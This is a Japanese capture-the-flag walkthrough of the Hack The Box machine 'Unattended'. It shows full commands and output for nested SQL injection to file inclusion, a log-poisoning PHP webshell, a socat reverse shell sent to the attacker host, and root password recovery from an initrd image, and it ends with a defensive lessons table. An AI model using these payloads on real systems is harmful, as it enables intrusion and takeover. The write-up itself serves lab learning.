Hack The BoxのWriteup(Unattended)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Unattended — 全実行コマンド・実行結果レポート
Nmap スキャン
80(→443)/443, vhost発見
→
ネストSQLi → LFI
/etc/passwd 読取り成功
→
ソース開示でDB資格情報
/dev../html/index.php
→
access.log ポイズニング
既に破損 → 不可
→
error.log フォールバックRCE
www-data
→
config.checkrelease 書換え
socat → guly シェル (user.txt)
→
initrd.img (grubグループ)
uinitrdでrootパスワード復元
→
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.74.126
nmap -sV -sC -p 80,443 10.129.74.126
RESULT
PORT    STATE SERVICE  VERSION
80/tcp  open  http     nginx 1.10.3
|_http-title: Did not follow redirect to https://www.nestedflanders.htb
443/tcp open  ssl/http nginx 1.10.3
| ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd
|_http-title: Apache2 Debian Default Page: It works
🚨
重要発見: nginxのレスポンスヘッダなのにタイトルが「Apache2 Debian Default Page」— nginxがバックエンドの Apache (127.0.0.1:8080) にリバースプロキシしている構成。 証明書CNから仮想ホスト www.nestedflanders.htb が判明し、HTTPはHTTPSへ リダイレクトされるため、以降はHTTPSとこのvHostを使う。

hosts登録と疎通確認

BASH
echo "10.129.74.126 www.nestedflanders.htb" >> /etc/hosts
curl -skI https://www.nestedflanders.htb/
curl -sk https://www.nestedflanders.htb/index.php?id=465
RESULT
HTTP/1.1 200 OK
Server: nginx/1.10.3

<h1>Ne(ste)d Flanders' Portfolio</h1>
<a href="index.php?id=25">main</a> <a href="index.php?id=465">about</a> <a href="index.php?id=587">contact</a>
Hello visitor, our Company is world wide leading expert about Nesting stuff.
ℹ️
id パラメータ(有効値 25/465/587)で main/about/contact の3ページを切り替える 単純なPHPアプリ。SQLクエリへ直接使われていることが推測できる。
PHASE 2

ネストSQLインジェクション → LFI → ソースコード開示

境界値テストでSQLiを確認

BASH
curl -sk -G "https://www.nestedflanders.htb/index.php" \
  --data-urlencode "id=465' AND '1'='1" -w "size:%{size_download}\n" -o /dev/null

curl -sk -G "https://www.nestedflanders.htb/index.php" \
  --data-urlencode "id=465' AND '1'='2" -w "size:%{size_download}\n" -o /dev/null
RESULT
真(1=1):  size:1227   ← 通常の about ページ
偽(1=2):  size:1244   ← "offline" 風の代替ページ (異なる内容)
✅
真偽でレスポンスサイズが変わるため、id がシングルクォート区切りの文字列 コンテキストでSQLインジェクション可能と判断できる。

UNION SELECT でカラム数を特定

BASH
for n in 1 2 3; do
  cols=$(seq -s, 1 $n)
  curl -sk -G "https://www.nestedflanders.htb/index.php" \
    --data-urlencode "id=465' UNION SELECT $cols-- -" -w "n=$n size:%{size_download}\n" -o /dev/null
done
RESULT
n=1 size:890    ← 構文的に成立 (本文が空 = カラム数一致)
n=2 size:1244   ← カラム数不一致エラー相当
n=3 size:1244
ℹ️
元のクエリは1カラムのSELECT(SELECT name FROM idname WHERE id='$id') と判明。

アプリソースコードの開示(意図しないパストラバーサル)

BASH
curl -sk "https://www.nestedflanders.htb/dev../html/index.php"
RESULT
<?php
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
$db = "neddy";
$conn = new mysqli($servername, $username, $password, $db);
...
function getTplFromID($conn) {
    $sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
    ...
}
function getPathFromTpl($conn,$tpl) {
    $sql = "SELECT path from filepath where name = '".$tpl."'";
    ...
}
$tpl = getTplFromID($conn);
$inc = getPathFromTpl($conn,$tpl);
...
include("$inc");
✅
DB資格情報取得 (RCE不要)。 nestedflanders:1036913cf7d38d4ea4f79b050f171e9fbf3f5e (DB名 neddy、localhost 限定)。ソースから2段階クエリ+ include("$inc") という構造も確定した。

ネストしたUNIONで任意ファイルをLFI読取り

NOTE
$tpl (= 第1クエリの戻り値) を "x' UNION SELECT '<読みたいパス>" という
文字列に差し替えると、第2クエリ "...WHERE name='$tpl'" のクォートが
ブレイクし、UNION SELECT '<path>' がそのまま $inc として返る
(coderwall.com の "nested sql injections" に由来するテクニック)。
PYTHON
import subprocess, re

def lfi(path):
    payload = "x' UNION SELECT '" + path
    hexp = payload.encode().hex()
    out = subprocess.check_output([
        'curl', '-sk', '-G', 'https://www.nestedflanders.htb/index.php',
        '--data-urlencode', f"id=465' UNION SELECT 0x{hexp}-- -"
    ], text=True)
    m = re.search(r'<!-- <div align="center"> -->\s*(.*?)\s*<!-- </div> -->', out, re.S)
    return m.group(1) if m else ""

print(lfi('/etc/passwd'))
RESULT
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/bin/bash
...
guly:x:1000:1000:guly,,,:/home/guly:/bin/bash
mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false
⚠️
このLFIは include() 経由のため、PHPタグを含むファイルを読ませると そのまま実行される(ログポイズニングRCEの前提)。一方で、途中に構文エラーを 招む内容が混ざっているファイルを include() すると、PHPはファイル全体を 1つのプログラムとしてコンパイルする都合上何も実行されず即500になる (Phase 3で詳述)。
PHASE 3

ログポイズニングRCEの確立 — access.log破損からerror.logフォールバックへ

標準的な経路: nginx access.log ポイズニング

NOTE
標準的な手順は以下の通り:
  1. User-Agent ヘッダに <?php ... ?> を仕込んで送信
     → nginx の /var/log/nginx/access.log (www-data可読) にそのまま記録される
  2. Phase 2のLFIで access.log 自体を include() させ、埋め込んだコードを発火させる
BASH
curl -sk -A "<?php system(\$_GET['c']); ?>" "https://www.nestedflanders.htb/index.php?id=465"
curl -sk -G "https://www.nestedflanders.htb/index.php" \
  --data-urlencode "id=465' UNION SELECT 0x782720554e494f4e2053454c45435420272f7661722f6c6f672f6e67696e782f6163636573732e6c6f67-- -" \
  --data-urlencode "c=id"
RESULT (本番 10.129.74.126 での実際のレスポンス)
HTTP:500 size:809 time:約1秒   (ペイロード内容やリトライ回数によらず常に同じ)
🚨
access.log は既に恒久的に破損していた。 既知サイズのファイル (約215KBのCA証明書バンドル等)を同じ include() 経路で読ませると、 サイズに比例した時間(実測: 約5〜8KB/秒)で正常に完了する。一方 access.log だけは サイズに関係なく常に約1秒で500になる — これはファイルの先頭付近に 既に構文エラーを招む内容(閉じていない<?タグ、または二重引用符を含む PHP文字列リテラルがnginxのログ出力時エスケープで破壊されたもの)が混入しており、 PHPがファイル全体をコンパイルする段階で即座に失敗していることを意味する。access.logは 追記専用・daily ローテーションのみのため、同一インスタンス内では修復不可能。 原因は本調査のPhase 1で実行した自動偵察(nmap/gobuster等)の大量リクエストの中に、 たまたまPHPタグに類似した不正な文字列が含まれていた可能性が高い。

フォールバック: nginx error.log ポイズニング

NOTE
nginx はバックエンドへプロキシする前に、まず自分自身のドキュメントルート
(/var/www/nginx/) への直接ファイルオープンを試みる既知スキャナ向けパス
(robots.txt、favicon.ico、.git/HEAD 等)をいくつか持っている。これらは
open() 失敗時に「生のリクエストパスを含めて」/var/log/nginx/error.log に
記録される。

ポイント: vHost名 (www.nestedflanders.htb) 宛てだとアプリ側の404ハンドラ
(Apache)に流れてしまい記録されないが、ターゲットの"裸のIPアドレス"宛てに
リクエストすると nginx の default server (catch-all) がヒットし、ローカル
ファイルオープンを試みて error.log に記録される。gobusterの大量404は
vHost名宛てのため access.log 側に積もるのに対し、error.log はこの
"IP直打ち" 経路でしか汚れないため小さく保たれやすい。
PYTHON
import subprocess, urllib.parse, uuid, re

TARGET = '10.129.74.126'
V = 'www.nestedflanders.htb'
MARK = 'CMD' + uuid.uuid4().hex[:6]

# IP直打ちで、存在しないPHPタグ付きパスをリクエスト → error.logに生記録させる
php = f"<?php echo '{MARK}START'; system($_GET['c']); echo '{MARK}END'; ?>"
subprocess.run(['curl', '-sk', f'https://{TARGET}/' + urllib.parse.quote(php, safe='')])

# LFIで error.log を include し、現在のリクエストの GET c= パラメータを使わせる
payload = "x' UNION SELECT '/var/log/nginx/error.log"
hexp = payload.encode().hex()
out = subprocess.check_output([
    'curl', '-sk', '-G', f'https://{V}/index.php',
    '--data-urlencode', f"id=465' UNION SELECT 0x{hexp}-- -",
    '--data-urlencode', 'c=id'
], text=True)
print(re.search(MARK + 'START(.*?)' + MARK + 'END', out, re.S).group(1))
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE確立(www-data)。 ファイル設置なしに、error.logを「常駐Webシェル」 のように使い続けられる(以降は同じ2リクエストの組み合わせ — 「IP直打ちでコード+マーカー を記録」→「LFI経由でerror.logをincludeしつつc=<実行したいコマンド>を渡す」— だけで任意コマンドを実行できる)。
PHASE 4

config.checkrelease 書換え → guly リバースシェル → user.txt

www-data から guly への権限移譲ポイントの発見

BASH (RCE経由)
mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e neddy \
  -e "select id,option_name,option_value from config where id=86;"
RESULT
86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl;
ℹ️
nestedflanders DBユーザーは neddy.config にUPDATE権限 を持つ(GRANT SELECT, INSERT, UPDATE ON neddy.*)。checkrelease は guly 所有の cron/監視プロセスが定期的に読み込み実行していると推測できるため、 ここをリバースシェルコマンドへ差し替える。

socatでgulyシェルを取得

LOCAL (Kali)
# 重要: ターゲットの iptables は outbound を 80/443 のみに制限しているため、
# Kali側のリスナーも 443 で待ち受けないと接続を受けられない
sudo nc -lvnp 443
SQL (RCE経由で実行)
-- 値に単一引用符/カンマなどSQL・シェル双方で特殊な文字を含むため、
-- SQLの0x16進数リテラルで渡してクォート崩れを完全に回避する
UPDATE config SET option_value = 0x736f63617420657865633a2762617368202d6c69272c7074792c7374646572722c7365747369642c736967696e742c73616e65207463703a31302e31302e31352e3230303a343433 WHERE id=86;
-- ↑ デコードすると:
-- socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<kali_ip>:443
⚠️
実行コマンド文字列自体の引用符にも注意。 mysql -u ... -e "SQL文" を system() 越しに1回だけシェル解釈 させる場合、-e の引数はプレーンな二重引用符で囲むだけで十分 (バックスラッシュでエスケープした \"..\" を使うと、シェルがそれを 「リテラルな引用符1文字」と誤解釈し、引数がクォートで囲われず分割されてしまい、 mysqlが使用方法(ヘルプ)を表示するだけでUPDATEが一切実行されないという 非常に紛らわしい失敗になる。エラーも出ないため、UPDATE後は必ず SELECT option_value FROM config WHERE id=86 で実際に値が変わったか 確認するとよい)。
RESULT
connect to [10.10.15.200] from (UNKNOWN) [10.129.74.126]
guly@unattended:~$ whoami
guly
guly@unattended:~$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev)
✅
guly の cron/監視プロセスが更新後の checkrelease を実行したタイミングで guly 権限のリバースシェルが確立する(数分以内に着信する)。

user.txt 取得

GULY SHELL
cat /home/guly/user.txt
user.txt — guly
fe40878b646cb2276dbc953564bfaeaa
PHASE 5

initrd.img (grubグループ) → uinitrd → root パスワード → root.txt

非標準グループ grub の確認

GULY SHELL
ls -l /boot/initrd.img-*
RESULT
-rw-r----- 1 root grub 24974028 Dec  8  2023 /boot/initrd.img-4.19.0-25-amd64
-rw-r----- 1 root grub 19820734 Dec  1  2023 /boot/initrd.img-4.9.0-13-amd64
-rw-r----- 1 root grub 19781354 Dec  1  2023 /boot/initrd.img-4.9.0-8-amd64
🚨
grub という通常のUnix環境には存在しない非標準グループに guly が所属しており、 initrdイメージ(起動時にカーネルが読み込む一時rootファイルシステム)を読み取れる。

initrd を guly のホーム配下へ展開

GULY SHELL
cd /home/guly
rm -rf .unat_i; mkdir .unat_i; cd .unat_i
cp /boot/initrd.img-4.9.0-8-amd64 initrd.img.gz
gunzip -f initrd.img.gz
cpio -id -F initrd.img 2>/tmp/.cpio_err
grep -A3 -B2 guly ./scripts/local-top/cryptroot
RESULT
# guly: we have to deal with lukfs password sync when root changes her one
/sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen
⚠️
/tmp は noexec でマウントされている。 最初 /tmp 配下に 展開して uinitrd を実行しようとすると、実行ビットの有無に関わらず Permission denied になる。展開先は必ず /home/guly 配下 (noexecでない)を使うこと。

uinitrdを実行してrootパスワードを復元

NOTE
本体の /sbin/uinitrd には guly の実行権限が無いが、initrdを展開して
得られた コピー (./sbin/uinitrd) には実行権限が付与されている。
cryptroot スクリプトが参照していたのと同じ固定シード文字列
"c0m3s3f0ss34nt4n1" を渡して呼び出すと、root パスワードが決定論的に
出力される(起動時のcryptsetupパスワード同期ロジックを悪用)。
GULY SHELL
./sbin/uinitrd c0m3s3f0ss34nt4n1
RESULT
132f93ab100671dcb263acaf5dc95d8260e8b7c6

su → root.txt 取得

GULY SHELL
su -c 'cat /root/root.txt'
Password: 132f93ab100671dcb263acaf5dc95d8260e8b7c6
RESULT
root
035d44bbe4d61dcab1b61f07cbb152de
✅
root化成功。 使用後は checkrelease を元の値 (/home/guly/checkbase.pl;/home/guly/checkplugins.pl;)に復元し、 システムへの変更を後片付けした。
root.txt — root
035d44bbe4d61dcab1b61f07cbb152de
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — guly
fe40878b646cb2276dbc953564bfaeaa
root.txt — root
035d44bbe4d61dcab1b61f07cbb152de

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
ネストSQLインジェクション index.php?id= (MySQL/MariaDB) 任意ファイル読取り (LFI) Critical 第1クエリの結果を第2クエリを破壊する文字列に差替え、includeパスを完全制御
パストラバーサル的ソース開示 /dev../html/index.php DB資格情報の漏洩 High 意図しないURLパターンでPHPソースがそのまま返る
ログポイズニングRCE nginx error.log + LFI include() www-data権限でのリモートコード実行 Critical IP直打ちで存在しないPHPタグ付きパスをリクエストしerror.logへ記録→LFIで発火
DB権限によるcron/監視プロセスの乗っ取り config.checkrelease www-data → guly への権限昇格 High DBのUPDATE権限だけでguly所有プロセスの実行内容を書き換え
initrdイメージの機密情報漏洩 /boot/initrd.img-* (grubグループ) root パスワードの復元 High 展開後のuinitrdバイナリが固定シードからrootパスワードを決定論的に出力

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + 証明書CNからvHost発見80(→443)/443、www.nestedflanders.htb
2SQLi/LFIネストSQLi + パストラバーサル的ソース開示/etc/passwd読取り、DB資格情報
3RCE確立nginx error.logポイズニング(access.log破損のfallback)www-data コマンド実行
4権限移譲config.checkrelease書換え + socatuser.txt(guly)
5権限昇格initrd.img展開 + uinitrd決定論的パスワード復元root.txt

ハマりどころ一覧(実機検証で踏んだ罠)

罠症状対処
access.logが既に破損 include()が常に約1秒で即500、サイズ非依存 error.logへのfallback(IP直打ち+存在しないPHPタグ付きパス)に切替え
egressフィルタ(iptables) 任意ポートへのリバースシェルが着信しない 許可されている80/443宛てにする(Kali側リスナーも443で待受)
system()越しのコマンドの二重エスケープ mysql -e \"SQL\"がヘルプ表示だけで終わりUPDATEが無反応 1階層のシェル解釈にはバックスラッシュ不要、プレーンな"SQL"か0x16進リテラルを使う
/tmpがnoexec 展開したuinitrdがPermission denied 展開先を/home/guly配下に変更

学んだ教訓 & 防御策

問題点防御策
SQLクエリへのユーザー入力の直接連結(プリペアドステートメント未使用) すべてのSQLクエリでプリペアドステートメント/パラメータバインディングを使用する。
データベースから取得した値をそのまま include() のパスに使用 includeパスはホワイトリスト(固定配列)と照合してから使用し、動的な値を直接渡さない。
nginx/アプリのログがWebサーバー実行ユーザーから読み取り可能 ログファイルのパーミッションをWebサーバー実行ユーザーの読取り不可に設定する (例: root:adm 640、www-dataをadmグループに入れない)。
アプリDBユーザーに過剰なUPDATE権限(実行系カラムを含むテーブルへの書込み可) アプリ用DBユーザーの権限を必要最小限のカラム/テーブルに絞る。実行系設定値はDBとは 別の、アプリ外からアクセスできない場所で管理する。
initrdイメージに固定シードから復元可能な形でrootパスワード導出ロジックが埋め込まれている 起動時パスワード同期の仕組みをinitrdに平文/固定シードの形で含めない。TPM等の ハードウェアベースの鍵管理を使用する。
HackTheBox: Unattended | 完全攻略レポート